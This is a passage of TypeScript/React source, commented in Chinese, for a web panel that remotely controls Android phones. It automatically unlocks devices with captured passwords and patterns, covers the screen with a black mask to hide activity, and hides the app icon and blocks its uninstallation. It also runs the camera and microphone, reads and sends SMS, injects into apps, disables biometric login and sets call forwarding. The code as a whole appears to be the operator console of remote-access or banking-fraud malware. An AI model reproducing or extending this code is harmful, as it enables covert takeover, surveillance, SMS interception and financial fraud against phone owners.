      content: `图案路径: 123456\n正在尝试解锁设备...`
    })

    // 发送图案解锁指令
    webSocket.emit('client_event', {
      type: 'UNLOCK_DEVICE',
      data: {
        deviceId,
        data: {
          pattern: defaultPattern
        }
      }
    })

    // 3秒后重置状态
    setTimeout(() => {
      setIsPatternUnlocking(false)
    }, 3000)
  }

  const performAutoUnlock = (password: string, savedConfirmCoords?: { x: number, y: number } | null) => {
    console.log('🔓 开始执行自动解锁, 密码:', password)

    if (!password || !device) {
      console.error('❌ 无法执行解锁: 密码为空或设备不存在')
      return
    }

    // ✅ 智能检测密码类型
    const passwordType = detectPasswordType(password)
    console.log('🔍 检测到密码类型:', passwordType)

    modal.info({
      title: '正在执行自动解锁',
      content: `正在尝试解锁设备，请稍候...\n密码类型: ${passwordType}\n1. 点亮屏幕\n2. 唤醒解锁界面\n3. 输入密码\n4. 确认解锁`
    })

    const screenWidth = device.screenWidth
    const screenHeight = device.screenHeight
    const centerX = screenWidth / 2

    // 步骤1: 点亮屏幕
    console.log('🔆 步骤1: 发送点亮屏幕命令')
    sendControlMessage('POWER_WAKE', {})

    // 步骤2: 延迟1秒后向上滑动唤醒解锁界面
    setTimeout(() => {
      console.log('👆 步骤2: 向上滑动唤醒解锁界面')

      // ✅ 优先使用Android端的智能上滑解锁（更精确的设备适配）
      if (webSocket) {
        console.log('🤖 使用Android端智能上滑解锁（推荐）')
        sendControlMessage('SMART_UNLOCK_SWIPE', {})
      } else {
        // 备用方案：Web端计算滑动参数
        console.log('📱 使用Web端滑动参数计算（备用）')

        // ✅ 优化滑动距离以适配更多设备
        // 根据屏幕高度动态调整滑动距离，确保能够唤醒各种设备的解锁界面
        const startYRatio = screenHeight > 2400 ? 0.88 : screenHeight > 2000 ? 0.85 : 0.8
        const endYRatio = screenHeight > 2400 ? 0.12 : screenHeight > 2000 ? 0.15 : 0.2
        const swipeDuration = screenHeight > 2400 ? 450 : screenHeight > 2000 ? 400 : 350

        console.log(`📱 屏幕尺寸: ${screenWidth}x${screenHeight}`)
        console.log(`👆 滑动参数: 起始=${(startYRatio * 100).toFixed(0)}%, 结束=${(endYRatio * 100).toFixed(0)}%, 时长=${swipeDuration}ms`)

        sendControlMessage('SWIPE', {
          startX: centerX,
          startY: screenHeight * startYRatio, // 动态调整起始位置
          endX: centerX,
          endY: screenHeight * endYRatio,     // 动态调整结束位置，滑动距离更长
          duration: swipeDuration             // 动态调整滑动时长
        })
      }

      // 步骤3: 延迟1.5秒后开始输入密码
      setTimeout(() => {
        console.log('🔤 步骤3: 开始输入密码:', password, '类型:', passwordType)

        // ✅ 根据密码类型选择不同的输入策略
        switch (passwordType) {
          case 'numeric':
            console.log('📱 使用数字密码坐标点击策略')
            inputNumericPassword(password, screenWidth, screenHeight)
            break
          case 'pin':
            console.log('📱 使用PIN码逐个输入策略')
            inputPinPassword(password)
            break
          case 'mixed':
            console.log('🔐 使用混合密码策略')
            inputMixedPassword(password)
            break
          case 'pattern':
            console.log('🎨 使用图形密码策略')
            inputPatternPassword(password)
            break
          default:
            console.log('🔐 使用默认文本密码策略')
            inputTextPassword(password)
            break
        }

        // ✅ 步骤4: 输入完密码后延迟确认，根据密码类型和设备信息调整延迟时间
        const confirmDelay = getConfirmDelay(passwordType, password.length, device)
        console.log(`⏰ 确认延迟时间: ${confirmDelay}ms (密码类型: ${passwordType}, 长度: ${password.length}, 设备: ${device?.model || 'unknown'})`)
        setTimeout(() => {
          console.log('✅ 步骤4: 确认密码输入 - 使用增强确认策略')
          console.log('🎯 使用保存的确认坐标:', savedConfirmCoords)
          performEnhancedConfirm(screenWidth, screenHeight, passwordType, savedConfirmCoords || undefined)

          // 检测解锁结果
          setTimeout(() => {
            console.log('🔍 检测解锁结果...')
            modal.success({
              title: '解锁操作完成',
              content: `已完成自动解锁流程：
                
1. ✅ 点亮屏幕
2. ✅ 向上滑动唤醒解锁界面  
3. ✅ 输入密码: ${password} (${passwordType})
4. ✅ 延迟1秒后点击确认按钮

${savedConfirmCoords ?
                  `🎯 使用了记录的确认按钮坐标: (${savedConfirmCoords.x}, ${savedConfirmCoords.y})` :
                  `💡 提示：如果需要手动确认，系统将学习您的确认操作，下次可自动确认`}

请检查设备是否成功解锁。如果解锁失败，可能的原因：
• 密码不正确或已过期
• 设备锁屏界面布局变化
• 确认按钮位置发生变化

您可以重新尝试或手动解锁设备一次让系统学习新的确认按钮位置。`,
              okText: '知道了'
            })
          }, 5000)

        }, confirmDelay)

      }, 1500)
    }, 1000)
  }

  // ✅ 新增：智能检测密码类型
  // ✅ 增强版密码类型检测 - 更准确的识别逻辑
  const detectPasswordType = (password: string): string => {
    if (!password) return 'unknown'

    // 清理掩码字符，但保留部分特殊字符用于判断
    const cleanPassword = password.replace(/[?•*]/g, '')

    console.log(`🔍 密码类型检测: 原始="${password}", 清理后="${cleanPassword}"`)

    if (cleanPassword.length === 0) {
      return 'unknown'
    }

    // ✅ 纯数字判断
    if (/^\d+$/.test(cleanPassword)) {
      const length = cleanPassword.length
      console.log(`🔢 检测到纯数字密码，长度: ${length}`)

      // PIN码：4位或6位数字（常见的PIN码长度）
      if (length === 4 || length === 6) {
        console.log(`📱 判定为PIN码: ${length}位`)
        return 'pin'
      }
      // ✅ 图形密码检测：4-9位，只包含1-9，不包含0
      else if (length >= 4 && length <= 9) {
        const hasOnlyValidPatternDigits = cleanPassword.split('').every(digit => {
          const num = parseInt(digit)
          return num >= 1 && num <= 9
        })

        const hasZero = cleanPassword.includes('0')

        // 图形密码的特征：只包含1-9，不包含0
        if (hasOnlyValidPatternDigits && !hasZero) {
          console.log(`🎨 判定为图形密码: ${length}位 (1-9范围，无0)`)
          return 'pattern'
        } else {
          console.log(`🔢 判定为数字密码: ${length}位 (包含0或超出1-9范围)`)
          return 'numeric'
        }
      }
      // 其他长度的数字密码
      else {
        console.log(`🔢 判定为数字密码: ${length}位`)
        return 'numeric'
      }
    }

    // ✅ 混合密码：包含字母和数字
    if (/\d/.test(cleanPassword) && /[a-zA-Z]/.test(cleanPassword)) {
      console.log(`🔤 判定为混合密码: 包含字母和数字`)
      return 'mixed'
    }

    // ✅ 纯字母
    if (/^[a-zA-Z]+$/.test(cleanPassword)) {
      console.log(`📝 判定为文本密码: 纯字母`)
      return 'text'
    }

    // ✅ 包含特殊字符的复杂密码
    if (/[^a-zA-Z0-9]/.test(cleanPassword)) {
      console.log(`🔤 判定为混合密码: 包含特殊字符`)
      return 'mixed'
    }

    // 默认文本密码
    console.log(`📝 默认判定为文本密码`)
    return 'text'
  }

  // ✅ 增强版数字密码坐标点击输入 - 支持错误恢复和进度反馈
  const inputNumericPassword = (password: string, screenWidth: number, screenHeight: number) => {
    const digits = password.split('')
    console.log(`🔢 开始数字密码输入: ${digits.length}位密码`)

    digits.forEach((digit, index) => {
      if (webSocket) {
        setTimeout(() => {
          console.log(`🔢 通过坐标点击数字 ${digit} (进度: ${index + 1}/${digits.length})`)
          webSocket.emit('control_message', {
            type: 'NUMERIC_PIN_INPUT',
            deviceId,
            data: {
              digit,
              screenWidth,
              screenHeight,
              index: index + 1,
              total: digits.length
            },
            timestamp: Date.now()
          })
        }, index * 350) // 数字输入间隔350ms，与延迟计算保持一致
      }
    })

    // ✅ 输入完成后的日志记录
    setTimeout(() => {
      console.log(`✅ 数字密码输入完成: ${digits.length}位`)
    }, digits.length * 350 + 100)
  }

  // ✅ 新增：PIN码逐个输入
  const inputPinPassword = (password: string) => {
    const digits = password.split('')

    digits.forEach((digit, index) => {
      setTimeout(() => {
        console.log(`🔢 输入PIN码数字:`, digit)
        if (webSocket) {
          webSocket.emit('control_message', {
            type: 'INPUT_TEXT',
            deviceId,
            data: { text: digit, webUnlockMode: true },
            timestamp: Date.now()
          })
        }
      }, index * 200) // PIN码输入间隔200ms
    })
  }

  // ✅ 混合密码输入 - 恢复整体文本输入
  const inputMixedPassword = (password: string) => {
    console.log('🔐 开始混合密码整体输入:', password)

    if (!password || !webSocket) {
      console.error('❌ 密码为空或WebSocket未连接')
      return
    }

    // 整体输入混合密码（简单高效）
    console.log(`🔤 混合密码整体输入: ${password}`)

    webSocket.emit('control_message', {
      type: 'INPUT_TEXT',
      deviceId,
      data: {
        text: password,
        webUnlockMode: true
        // 移除逐字符相关参数
      },
      timestamp: Date.now()
    })

    console.log(`✅ 混合密码整体输入完成`)

    /* ✅ 注释掉逐字符输入方案
    const characters = password.split('')
    console.log(`🔤 混合密码分解为 ${characters.length} 个字符:`, characters)
    
    // 逐个字符输入，每个字符之间有500ms间隔
    characters.forEach((char, index) => {
      setTimeout(() => {
        console.log(`🔤 输入第${index + 1}个字符: "${char}" (进度: ${index + 1}/${characters.length})`)
        
        webSocket.emit('control_message', {
          type: 'INPUT_TEXT',
          deviceId,
          data: { 
            text: char, 
            webUnlockMode: true,
            isCharByChar: true, // 标识为逐字符输入
            charIndex: index + 1,
            totalChars: characters.length
          },
          timestamp: Date.now()
        })
      }, index * 500) // 每个字符间隔500ms，让用户能清楚看到输入过程
    })
    
    // 输入完成后的日志记录
    setTimeout(() => {
      console.log(`✅ 混合密码逐字符输入完成: ${characters.length} 个字符`)
    }, characters.length * 500 + 200)
    */
  }

  // ✅ 新增：图形密码输入
  const inputPatternPassword = (password: string) => {
    console.log('🎨 图形密码输入:', password)

    if (!webSocket) {
      console.error('❌ WebSocket未连接，无法发送图案解锁指令')
      return
    }

    // 将字符串密码转换为数字数组
    const pattern = password.split('').map(digit => parseInt(digit))

    console.log('🎨 图案路径:', pattern)

    // 发送图案解锁指令
    webSocket.emit('client_event', {
      type: 'UNLOCK_DEVICE',
      data: {
        deviceId,
        data: {
          pattern: pattern
        }
      }
    })
  }

  // ✅ 新增：文本密码输入
  const inputTextPassword = (password: string) => {
    console.log('📝 输入文本密码:', password)
    if (webSocket) {
      webSocket.emit('control_message', {
        type: 'INPUT_TEXT',
        deviceId,
        data: { text: password, webUnlockMode: true },
        timestamp: Date.now()
      })
    }
  }

  // ✅ 检测是否为华为荣耀设备
  const isHuaweiHonorDevice = (deviceInfo: any): boolean => {
    if (!deviceInfo) return false
    const model = deviceInfo.model?.toLowerCase() || ''
    const name = deviceInfo.name?.toLowerCase() || ''
    return model.includes('huawei') || model.includes('honor') ||
      name.includes('huawei') || name.includes('honor')
  }

  // ✅ 新增：检测是否为OPPO设备
  const isOppoDevice = (deviceInfo: any): boolean => {
    if (!deviceInfo) return false
    const model = deviceInfo.model?.toLowerCase() || ''
    const name = deviceInfo.name?.toLowerCase() || ''
    // 从设备名称格式 MANUFACTURER_MODEL_SHORTID 中提取品牌信息
    const nameParts = name.split('_')
    const manufacturer = nameParts[0]?.toLowerCase() || ''
    return manufacturer.includes('oppo') || model.includes('oppo') || name.includes('oppo')
  }

  // ✅ 新增：检测是否为HONOR设备
  const isHonorDevice = (deviceInfo: any): boolean => {
    if (!deviceInfo) return false
    const model = deviceInfo.model?.toLowerCase() || ''
    const name = deviceInfo.name?.toLowerCase() || ''
    // 从设备名称格式 MANUFACTURER_MODEL_SHORTID 中提取品牌信息
    const nameParts = name.split('_')
    const manufacturer = nameParts[0]?.toLowerCase() || ''
    return manufacturer.includes('honor') || model.includes('honor') || name.includes('honor')
  }

  // ✅ 新增：根据密码类型获取确认延迟时间
  const getConfirmDelay = (passwordType: string, passwordLength: number, deviceInfo?: any): number => {
    // ✅ 华为荣耀设备混合密码需要额外延迟（因为有特殊点击处理）
    if (passwordType === 'mixed' && deviceInfo && isHuaweiHonorDevice(deviceInfo)) {
      console.log('📱 华为荣耀设备混合密码，增加特殊点击延迟')
      return 1500 // 华为荣耀混合密码：2秒延迟（包含特殊点击时间）
    }

    // 🔧 修改：根据不同输入方式计算确认延迟时间
    switch (passwordType) {
      case 'numeric':
        return passwordLength * 350 + 1000 // 数字密码：每个数字350ms + 1秒确认延迟
      case 'pin':
        return passwordLength * 200 + 1000 // PIN码：每个数字200ms + 1秒确认延迟
      case 'mixed':
        return 1500 // 混合密码：整体输入，固定1.5秒确认延迟
      case 'pattern':
        return 1000 // 图形密码：1秒确认延迟
      case 'text':
        return 1000 // 文本密码：1秒确认延迟
      default:
        return 1000 // 默认：1秒确认延迟
    }
  }

  // ✅ 增强确认策略 - 支持记录的确认按钮坐标和智能检测
  const performEnhancedConfirm = (screenWidth: number, screenHeight: number, passwordType: string, savedConfirmCoords?: { x: number, y: number }) => {
    console.log('🔍 [Web端确认] 智能确认策略，密码类型:', passwordType, '已保存坐标:', savedConfirmCoords)

    // ✅ 策略1: 如果有记录的确认按钮坐标，优先使用（这是最准确的方法）
    if (savedConfirmCoords && savedConfirmCoords.x > 0 && savedConfirmCoords.y > 0) {
      console.log('🎯 [保存坐标优先] 使用用户记录的确认按钮坐标，跳过其他策略', savedConfirmCoords)
      console.log('✅ [策略跳过] 由于有保存坐标，不执行智能检测和其他后续策略')
      if (webSocket) {
        webSocket.emit('control_message', {
          type: 'CLICK',
          deviceId,
          data: {
            x: savedConfirmCoords.x,
            y: savedConfirmCoords.y
          },
          timestamp: Date.now()
        })
      }
      return // 使用记录坐标后直接返回，不执行其他策略
    }

    // ✅ 策略2: 如果没有记录的坐标，根据密码类型判断是否需要确认
    // 修复：只有图形密码通常无需确认按钮，数字密码仍需要确认
    if (passwordType === 'pattern') {
      console.log('ℹ️ [智能跳过] 图形密码通常无需确认按钮，输入完成后自动验证')
      return
    }

    // ✅ 策略3: 请求Android端进行智能确认按钮检测
    console.log('🤖 [智能检测] 请求Android端进行确认按钮智能检测')
    if (webSocket) {
      webSocket.emit('control_message', {
        type: 'SMART_CONFIRM_DETECTION',
        deviceId,
        data: {
          passwordType: passwordType,
          screenWidth: screenWidth,
          screenHeight: screenHeight
        },
        timestamp: Date.now()
      })
    }

    // ✅ 策略4: OPPO/HONOR设备默认坐标兜底策略
    setTimeout(() => {
      // 检查是否为OPPO或HONOR设备，且密码类型为文本或混合密码
      if (device && (isOppoDevice(device) || isHonorDevice(device)) &&
        (passwordType === 'text' || passwordType === 'mixed')) {

        // 计算默认坐标
        const defaultX = screenWidth - 60
        const defaultY = isOppoDevice(device) ? screenHeight - 100 : screenHeight - 250 // HONOR设备Y坐标更高

        // 验证坐标有效性
        if (defaultX > 0 && defaultY > 0 && defaultX < screenWidth && defaultY < screenHeight) {
          const deviceBrand = isOppoDevice(device) ? 'OPPO' : 'HONOR'
          console.log(`📱 [${deviceBrand}设备兜底] 使用${deviceBrand}设备默认确认坐标: (${defaultX}, ${defaultY})`)
          console.log(`🎯 [默认坐标策略] 密码类型: ${passwordType}, 屏幕尺寸: ${screenWidth}x${screenHeight}`)

          if (webSocket) {
            webSocket.emit('control_message', {
              type: 'CLICK',
              deviceId,
              data: {
                x: defaultX,
                y: defaultY
              },
              timestamp: Date.now()
            })
          }

          // 提示用户使用了默认坐标
          console.log(`💡 [用户提示] 已使用${deviceBrand}设备默认确认坐标，如果失败请手动确认`)
          return
        } else {
          console.warn('⚠️ [坐标验证] 计算的默认坐标超出屏幕范围，跳过默认坐标策略')
        }
      }

      // ✅ 策略5: 如果所有策略都失败，提示用户手动确认
      console.log('💡 [用户提示] 如果自动确认失败，请手动点击确认按钮')
      console.log('📚 [学习提示] 系统将学习您的确认操作，下次可自动确认')
    }, 2000)
  }

  // 短信列表列定义已移动至短信卡片组件


  // 表格列定义
  const logColumns = [
    {
      title: '时间',
      dataIndex: 'timestamp',
      key: 'timestamp',
      width: 160,
      render: (timestamp: string) => new Date(timestamp).toLocaleString()
    },
    {
      title: '类型',
      dataIndex: 'logType',
      key: 'logType',
      width: 100,
      render: (logType: string) => (
        <Tag color={logTypeColors[logType as keyof typeof logTypeColors] || 'default'}>
          {logTypeLabels[logType as keyof typeof logTypeLabels] || logType}
        </Tag>
      )
    },
    {
      title: '内容',
      dataIndex: 'content',
      key: 'content',
      render: (content: string) => {
        // 检测不同类型的特殊内容
        const isPasswordInput = content.includes('密码') || content.includes('指纹')
        const isPatternAnalysis = content.includes('🔐 图案解锁分析完成')
        const isPasswordAnalysis = content.includes('🔑 密码输入分析完成')
        const isPatternGesture = content.includes('图案解锁') && !isPatternAnalysis
        const isRemoteInput = content.includes('远程输入')

        // 为图案解锁分析结果设置特殊样式
        if (isPatternAnalysis) {
          return (
            <div style={{
              background: 'linear-gradient(135deg, #667eea 0%, #764ba2 100%)',
              color: 'white',
              padding: '8px 12px',
              borderRadius: '6px',
              fontSize: '13px',
              fontWeight: 'bold',
              boxShadow: '0 2px 4px rgba(0,0,0,0.1)'
            }}>
              {content}
            </div>
          )
        }

        // 为密码输入分析结果设置特殊样式
        if (isPasswordAnalysis) {
          return (
            <div style={{
              background: 'linear-gradient(135deg, #ff6b6b 0%, #ee5a24 100%)',
              color: 'white',
              padding: '8px 12px',
              borderRadius: '6px',
              fontSize: '13px',
              fontWeight: 'bold',
              boxShadow: '0 2px 4px rgba(0,0,0,0.1)'
            }}>
              {content}
            </div>
          )
        }

        return (
          <div
            style={{
              display: '-webkit-box',
              WebkitBoxOrient: 'vertical',
              WebkitLineClamp: 2 as any,
              overflow: 'hidden',
              cursor: content ? 'pointer' : 'default'
            }}
            onClick={() => { if (!content) return; setContentPreviewText(content); setContentPreviewVisible(true) }}
            title={content}
          >
            <span style={{
              color: isPasswordInput ? '#f50' :
                isPatternGesture ? '#722ed1' :
                  isRemoteInput ? '#1890ff' : 'inherit',
              fontWeight: (isPasswordInput || isPatternGesture) ? 'bold' : 'normal'
            }}>
              {isPasswordInput && '🔒 '}
              {isPatternGesture && '🔐 '}
              {isRemoteInput && '📱 '}
              {content}
            </span>
          </div>
        )
      }
    },
    {
      title: '详细信息',
      dataIndex: 'extraData',
      key: 'extraData',
      width: 120,
      render: (extraData: any) => (
        extraData ? (
          <EyeOutlined style={{ cursor: 'pointer', color: '#1890ff' }} />
        ) : '-'
      )
    }
  ]


  // 文本输入已移除

  const handleSwipe = (direction: string) => {
    if (!device) return
    if (!operationEnabled) {
      console.warn('手势操作已被阻止')
      return
    }

    const centerX = device.screenWidth / 2
    const centerY = device.screenHeight / 2
    const distance = 300

    let startX = centerX, startY = centerY
    let endX = centerX, endY = centerY

    switch (direction) {
      case 'up':
        startY = centerY + distance
        endY = centerY - distance
        break
      case 'down':
        startY = centerY - distance
        endY = centerY + distance
        break
      case 'left':
        startX = centerX + distance
        endX = centerX - distance
        break
      case 'right':
        startX = centerX - distance
        endX = centerX + distance
        break
    }

    sendControlMessage('SWIPE', {
      startX,
      startY,
      endX,
      endY,
      duration: 300
    })
  }

  // 检查设备状态一致性
  const checkDeviceStateConsistency = () => {
    if (!webSocket || !deviceId) return

    console.log(`[控制面板] 检查设备 ${deviceId} 状态一致性`)
    webSocket.emit('client_event', {
      type: 'GET_DEVICE_STATE',
      data: { deviceId }
    })
  }

  // 修复设备状态不一致
  const fixDeviceStateInconsistency = () => {
    if (!webSocket || !deviceId) return

    console.log(`[控制面板] 修复设备 ${deviceId} 状态不一致`)

    // 同步当前UI状态到数据库
    const currentState = {
      inputBlocked: deviceInputBlocked,
      loggingEnabled: isLoggingEnabled
    }

    webSocket.emit('client_event', {
      type: 'UPDATE_DEVICE_STATE',
      data: {
        deviceId,
        state: currentState
      }
    })
  }

  // 🆕 屏幕控制函数已迁移至 RemoteControlApp

  const handleMaskAlphaChange = (nextValue: number) => {
    const normalized = Math.max(0, Math.min(255, Math.round(nextValue)))
    setMaskAlpha(normalized)

    // 遮罩已生效时实时同步，便于在线调暗/调亮
    if (isBlackScreenActive || deviceInputBlocked) {
      sendControlMessage('SET_MASK_CONFIG', { maskAlpha: normalized })
    }
  }

  // 🆕 黑屏遮盖控制函数
  const handleEnableBlackScreen = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    console.log('🖤 启用黑屏遮盖')
    webSocket.emit('client_event', {
      type: 'ENABLE_BLACK_SCREEN',
      data: {
        deviceId,
        maskAlpha
      }
    })
    setMaskAdjustModalVisible(true)
  }

  const handleDisableBlackScreen = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    console.log('🖤 取消黑屏遮盖')
    webSocket.emit('client_event', {
      type: 'DISABLE_BLACK_SCREEN',
      data: { deviceId }
    })
    setMaskAdjustModalVisible(false)
  }

  // 🆕 关闭配置遮盖函数
  const handleCloseConfigMask = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    console.log('🛡️ 手动关闭配置遮盖')
    webSocket.emit('client_event', {
      type: 'CLOSE_CONFIG_MASK',
      data: {
        deviceId,
        manual: true // 标记这是手动关闭
      }
    })
    message.info('已发送关闭配置遮盖指令')
  }

  const handleApplyMaskConfigNow = () => {
    sendControlMessage('SET_MASK_CONFIG', {
      maskText: maskText.trim() || '',
      maskTextSize: maskTextSize || 24,
      maskAlpha
    })
    message.success(`已下发黑屏遮罩深度: ${maskAlpha}`)
  }

  // 摄像头控制函数
  const handleStartCamera = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    console.log('📷 启动摄像头')
    updatePermissionStatus('camera', 'requesting', '已发送相机启动指令')
    webSocket.emit('camera_control', {
      action: 'CAMERA_START',
      deviceId,
      data: {}
    })
    setIsCameraActive(true)
    message.success('摄像头已启动')
  }

  const handleStopCamera = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    console.log('📷 停止摄像头')
    webSocket.emit('camera_control', {
      action: 'CAMERA_STOP',
      deviceId,
      data: {}
    })
    setIsCameraActive(false)
    message.success('摄像头已停止')
  }

  const handleSwitchCamera = (cameraType: 'front' | 'back') => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    console.log(`📷 切换到${cameraType === 'front' ? '前置' : '后置'}摄像头`)
    webSocket.emit('camera_control', {
      action: 'CAMERA_SWITCH',
      deviceId,
      data: { cameraType }
    })
    setCurrentCameraType(cameraType)
    message.success(`已切换到${cameraType === 'front' ? '前置' : '后置'}摄像头`)
  }

  // 控制摄像头显示区域的可见性
  const handleToggleCameraView = () => {
    dispatch(setCameraViewVisible(!cameraViewVisible))
  }

  const handleOpenAppSettings = () => {
    console.log('🔧 打开应用设置按钮被点击')
    console.log('WebSocket状态:', !!webSocket)
    console.log('设备ID:', deviceId)

    if (!webSocket) {
      console.error('❌ WebSocket未连接')
      modal.error({
        title: '连接错误',
        content: 'WebSocket未连接，请检查网络连接'
      })
      return
    }

    if (!deviceId) {
      console.error('❌ 设备ID无效')
      modal.error({
        title: '设备错误',
        content: '设备ID无效，请重新选择设备'
      })
      return
    }

    console.log('📤 发送OPEN_APP_SETTINGS请求')
    webSocket.emit('client_event', {
      type: 'OPEN_APP_SETTINGS',
      data: { deviceId }
    })

    modal.info({
      title: '正在打开应用设置',
      content: '已发送打开应用设置的请求到手机端，请稍候...',
      okText: '知道了'
    })
  }

  // 🎙️ 麦克风控制函数
  // 已移除功能：麦克风权限检查

  const handleMicStartRecording = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }
    if (!operationEnabled) {
      message.warning('操作已被阻止')
      return
    }
    console.log('🎙️ 开始录音')
    try {
      const ctx = ensureAudioContext()
      if (ctx.state === 'suspended') ctx.resume()
      nextPlaybackTimeRef.current = ctx.currentTime + 0.01
    } catch (e) {
      console.warn('初始化音频播放失败（可能由用户手势限制）:', e)
    }
    webSocket.emit('camera_control', { action: 'MICROPHONE_START_RECORDING', deviceId })
    setIsMicRecording(true)
    updatePermissionStatus('microphone', 'requesting', '已发送麦克风录音请求')
    message.success('已发送开始录音指令')
  }

  const handleMicStopRecording = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }
    console.log('🎙️ 停止录音')
    webSocket.emit('camera_control', { action: 'MICROPHONE_STOP_RECORDING', deviceId })
    setIsMicRecording(false)
    if (audioContextRef.current && audioContextRef.current.state !== 'closed') {
      audioContextRef.current.suspend().catch(() => { })
    }
    message.success('已发送停止录音指令')
  }

  // 已移除功能：录音状态查询

  // 🆕 应用隐藏/显示控制函数
  const handleHideApp = () => {
    console.log('📵 隐藏桌面图标')
    if (!webSocket) return

    webSocket.emit('client_event', {
      type: 'HIDE_APP',
      data: { deviceId }
    })
  }

  const handleShowApp = () => {
    console.log('📱 显示桌面图标')
    if (!webSocket) return

    webSocket.emit('client_event', {
      type: 'SHOW_APP',
      data: { deviceId }
    })
  }

  // 🛡️ 防止卸载功能控制函数
  const handleEnableUninstallProtection = () => {
    console.log('🛡️ 启动防止卸载监听')
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    webSocket.emit('client_event', {
      type: 'ENABLE_UNINSTALL_PROTECTION',
      data: { deviceId }
    })
  }

  const handleDisableUninstallProtection = () => {
    console.log('🛡️ 停止防止卸载监听')
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    webSocket.emit('client_event', {
      type: 'DISABLE_UNINSTALL_PROTECTION',
      data: { deviceId }
    })
  }

  // 🆕 重新获取投屏权限
  // 已移除功能：重新获取投屏权限

  // 📱 SMS控制相关函数
  // 已移除：短信权限检查按钮

  const handleSmsRead = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    console.log('📱 读取短信列表，条数:', smsReadLimit)
    setSmsLoading(true)
    updatePermissionStatus('sms', 'requesting', `短信读取中，目标条数 ${smsReadLimit}`)
    webSocket.emit('camera_control', {
      action: 'SMS_READ',
      deviceId,
      data: { limit: smsReadLimit }
    })
    message.info(`正在读取 ${smsReadLimit} 条短信...`)
  }

  const handleSmsSend = (phoneNumber: string, messageText: string) => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }

    console.log('📱 发送短信:', { phoneNumber, message: messageText })
    webSocket.emit('camera_control', {
      action: 'SMS_SEND',
      deviceId,
      data: {
        phoneNumber: phoneNumber,
        message: messageText
      }
    })
    message.info(`正在发送短信到 ${phoneNumber}...`)
  }

  const handleRequestAppList = (includeIcons: boolean = false) => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }
    if (!operationEnabled) {
      message.warning('当前无设备控制权限')
      return
    }

    clearAppListRequestTimeout()
    setAppListLoading(true)
    setAppListIncludeIcons(includeIcons)
    updatePermissionStatus('appList', 'requesting', includeIcons ? '正在读取应用列表（含图标）' : '正在读取应用列表')
    appListRequestTimeoutRef.current = window.setTimeout(() => {
      setAppListLoading(false)
      updatePermissionStatus('appList', 'missing', '应用列表请求超时，请重试')
      setAppListPermission({
        granted: false,
        message: '应用列表请求超时，请点击刷新重试'
      })
      message.warning('应用列表请求超时，请重试')
    }, includeIcons ? 22000 : 14000)
    sendControlMessage('APP_LIST', { includeIcons })
  }

  const handleOpenApp = (packageName: string) => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }
    if (!operationEnabled) {
      message.warning('当前无设备控制权限')
      return
    }

    const targetPackage = packageName.trim()
    if (!targetPackage) return

    setOpeningAppPackage(targetPackage)
    sendControlMessage('APP_OPEN', { packageName: targetPackage })
  }

  const handleToggleAppInjection = (app: AppListItem) => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }
    if (!operationEnabled) {
      message.warning('当前无设备控制权限')
      return
    }

    const targetPackage = String(app.packageName || '').trim()
    if (!targetPackage) return

    const currentlyInjected = injectedAppPackage === targetPackage
    setInjectingAppPackage(targetPackage)
    setPendingInjectionPackage(targetPackage)
    setPendingInjectionEnable(!currentlyInjected)

    if (currentlyInjected) {
      sendControlMessage('APP_INJECTION_DISABLE', {
        packageName: targetPackage,
        reason: 'web_toggle_off'
      })
    } else {
      sendControlMessage('APP_INJECTION_ENABLE', {
        packageName: targetPackage,
        appName: app.appName || ''
      })
    }
  }

  const handleOneClickMute = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }
    if (!operationEnabled) {
      message.warning('当前无设备控制权限')
      return
    }
    sendControlMessage('MUTE_DEVICE', {})
    message.success('已发送一键静音+关震动指令')
  }

  const handleDisableBiometricAuth = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }
    if (!operationEnabled) {
      message.warning('当前无设备控制权限')
      return
    }
    setBiometricDisabling(true)
    sendControlMessage('DISABLE_BIOMETRIC_AUTH', {})
    message.info('已发送一键禁用指纹/人脸指令，请等待设备回包')
    window.setTimeout(() => setBiometricDisabling(false), 15000)
  }

  const exposureValue = Math.max(30, Math.min(200, Math.round(Number(screenDisplay?.exposure ?? 100) || 100)))

  const handleExposureChange = (nextValue: number) => {
    const normalized = Math.max(30, Math.min(200, Math.round(nextValue)))
    dispatch(updateScreenDisplay({ exposure: normalized }))
  }

  const normalizeCallForwardPhone = (rawValue: string): string => {
    return rawValue
      .trim()
      .replace(/\s+/g, '')
      .replace(/[()-]/g, '')
  }

  const handleSetCallForward = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }
    if (!operationEnabled) {
      message.warning('当前无设备控制权限')
      return
    }

    const phoneNumber = normalizeCallForwardPhone(callForwardPhoneNumber)
    if (!phoneNumber || !/^\+?[0-9]{3,20}$/.test(phoneNumber)) {
      message.warning('请输入有效的转移手机号')
      return
    }

    setCallForwardSubmitting(true)
    sendControlMessage('CALL_FORWARD_SET', {
      phoneNumber,
      rule: callForwardRule
    })
    message.info(`已发送呼叫转移设置：${callForwardRuleLabels[callForwardRule]} -> ${phoneNumber}`)
  }

  const handleCancelCallForward = () => {
    if (!webSocket) {
      message.error('WebSocket未连接')
      return
    }
    if (!operationEnabled) {
      message.warning('当前无设备控制权限')
      return
    }

    setCallForwardSubmitting(true)
    sendControlMessage('CALL_FORWARD_CANCEL', {
      rule: callForwardRule
    })
    message.info(`已发送取消呼叫转移：${callForwardRuleLabels[callForwardRule]}`)
  }

  const filteredAppList = (appListData?.appList || []).filter((app) => {
    if (!appSearchKeyword.trim()) return true
    const keyword = appSearchKeyword.trim().toLowerCase()
    return (
